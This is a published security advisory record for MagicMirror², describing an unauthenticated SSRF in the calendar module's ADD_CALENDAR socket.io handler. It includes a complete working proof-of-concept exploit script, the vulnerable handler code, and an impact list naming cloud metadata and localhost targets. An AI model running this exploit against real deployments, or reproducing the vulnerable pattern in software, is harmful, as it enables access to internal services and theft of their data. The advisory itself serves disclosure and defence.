{"id":"GHSA-w6x9-28jw-hq7j","summary":"MagicMirror: ssrf calendar .js","details":"# Vulnerability — SSRF via `ADD_CALENDAR` (MagicMirror² calendar)\n\n\u003e Analysis of the PoC `exploit-ssrf-calendar.js`.\n\u003e Target: `calendar/node_helper.js` of MagicMirror², socket.io namespace `/calendar`.\n\n---\n\n## Identification\n\n| Field | Value |\n|-------|-------|\n| **PoC file** | `exploit-ssrf-calendar.js` |\n| **Endpoint** | socket.io namespace `/calendar`, notification `ADD_CALENDAR` |\n| **Precondition** | reach the mirror's HTTP port (no authentication required) |\n\n---\n\n## Description\n\nThe `ADD_CALENDAR` handler in `calendar/node_helper.js` performs a **server-side** HTTP request to a URL that is **fully attacker-controlled**, with no SSRF protection whatsoever — unlike the project's hardened `/cors` endpoint.\n\nWorse, the attacker also controls:\n- the **authentication headers** the server attaches to the request (`auth: { method: \"bearer\", pass: \"...\" }`);\n- the `selfSignedCert` flag, which **disables TLS verification** of the server-side request.\n\nWhen the target's response is **valid iCal**, the server parses the events and sends them back to the attacker via `CALENDAR_EVENTS` — turning the SSRF into **full data exfiltration** (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don't see the body).\n\n---\n\n## Root cause: unauthenticated socket.io channel + permissive CORS\n\nThe socket.io server accepts connections from **any origin** and with **no authentication**:\n\n```js\nconst io = new Server(server, {\n  cors: { origin: /.*$/, credentials: true }\n});\n```\n\nThe `/calendar` namespace registers the handler without checking who is connected (**CWE-306**). Any process or browser tab that can reach the mirror's port can emit the notification.\n\n---\n\n## Exploit (`exploit-ssrf-calendar.js`)\n\n```js\nconst { io } = require(\"socket.io-client\");\n\nconst TARGET = process.env.MM || \"http://TARGET:8888\";\nconst INTERNAL_URL = process.argv[2] || process.env.SSRF_URL || \"https://webhook.site/\";\n\nconst socket = io(`${TARGET}/calendar`, { path: \"/socket.io\", transports: [\"websocket\", \"polling\"] });\n\nsocket.onAny((event, payload) =\u003e {\n\tif (event === \"CALENDAR_EVENTS\") {\n\t\tconsole.log(\"\\n[+] CALENDAR_EVENTS received from server (SSRF response exfiltrated):\");\n\t\tfor (const ev of payload.events || []) {\n\t\t\tconsole.log(\"    SUMMARY:\", ev.title);\n\t\t\tif (ev.title && ev.title.includes(\"FLAG{\")) {\n\t\t\t\tconsole.log(\"\\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:\");\n\t\t\t\tconsole.log(\"      \" + ev.title);\n\t\t\t\tprocess.exit(0);\n\t\t\t}\n\t\t}\n\t} else if (event === \"CALENDAR_ERROR\") {\n\t\tconsole.log(\"[-] CALENDAR_ERROR:\", JSON.stringify(payload));\n\t}\n});\n\nsocket.on(\"connect\", () =\u003e {\n\tconsole.log(`[*] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}`);\n\tconsole.log(`[*] Forcing server-side fetch of internal target: ${INTERNAL_URL}`);\n\tsocket.emit(\"ADD_CALENDAR\", {\n\t\turl: INTERNAL_URL,\n\t\tfetchInterval: 60000,\n\t\texcludedEvents: [],\n\t\tmaximumEntries: 10,\n\t\tmaximumNumberOfDays: 3650,\n\t\tauth: { method: \"bearer\", pass: \"internal-admin-token\" },\n\t\tbroadcastPastEvents: true,\n\t\tselfSignedCert: true,\n\t\tid: \"pwn\"\n\t});\n});\n\nsocket.on(\"connect_error\", (e) =\u003e console.log(\"[-] connect_error:\", e.message));\n\nsetTimeout(() =\u003e { console.log(\"\\n[*] timeout, exiting\"); process.exit(1); }, 20000);\n```\n\n---\n\n## Vulnerable target code (pattern)\n\n```js\nsocketNotificationReceived(notification, payload) {\n  if (notification === \"ADD_CALENDAR\") {\n    const fetcher = new CalendarFetcher(\n      payload.url,\n      payload.fetchInterval,\n      payload.excludedEvents,\n      payload.maximumEntries,\n      payload.maximumNumberOfDays,\n      payload.auth,\n      payload.broadcastPastEvents,\n      payload.selfSignedCert\n    );\n    fetcher.fetchCalendar();\n  }\n}\n```\n\n---\n\n## Impact\n\n- **Reading internal services** unreachable from the attacker's network (cloud metadata `169.254.169.254`, admin panels on `127.0.0.1`, services on the private network).\n- **Body exfiltration** when the response is iCal (the PoC searches for `FLAG{...}` in event titles).\n- **Confused deputy / credential injection**: the server attaches an attacker-controlled `Authorization: Bearer ...` header, allowing it to forge/replay credentials against the internal target.\n- **TLS bypass** via `selfSignedCert: true`.\n- Internal port scanning through error/timing differences.\n\n---","aliases":["CVE-2026-63643"],"modified":"2026-08-18T17:41:04.426800Z","published":"2026-08-18T17:26:51Z","database_specific":{"github_reviewed_at":"2026-08-18T17:26:51Z","nvd_published_at":null,"cwe_ids":["CWE-441","CWE-918"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-w6x9-28jw-hq7j"},{"type":"WEB","url":"https://github.com/MagicMirrorOrg/MagicMirror/pull/4169"},{"type":"WEB","url":"https://github.com/MagicMirrorOrg/MagicMirror/commit/58c2a5e675a7d367b64d72e1d35680d202ff5c9f"},{"type":"PACKAGE","url":"https://github.com/MagicMirrorOrg/MagicMirror"},{"type":"WEB","url":"https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.37.0"}],"affected":[{"package":{"name":"magicmirror","ecosystem":"npm","purl":"pkg:npm/magicmirror"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.37.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-w6x9-28jw-hq7j/GHSA-w6x9-28jw-hq7j.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N"}]}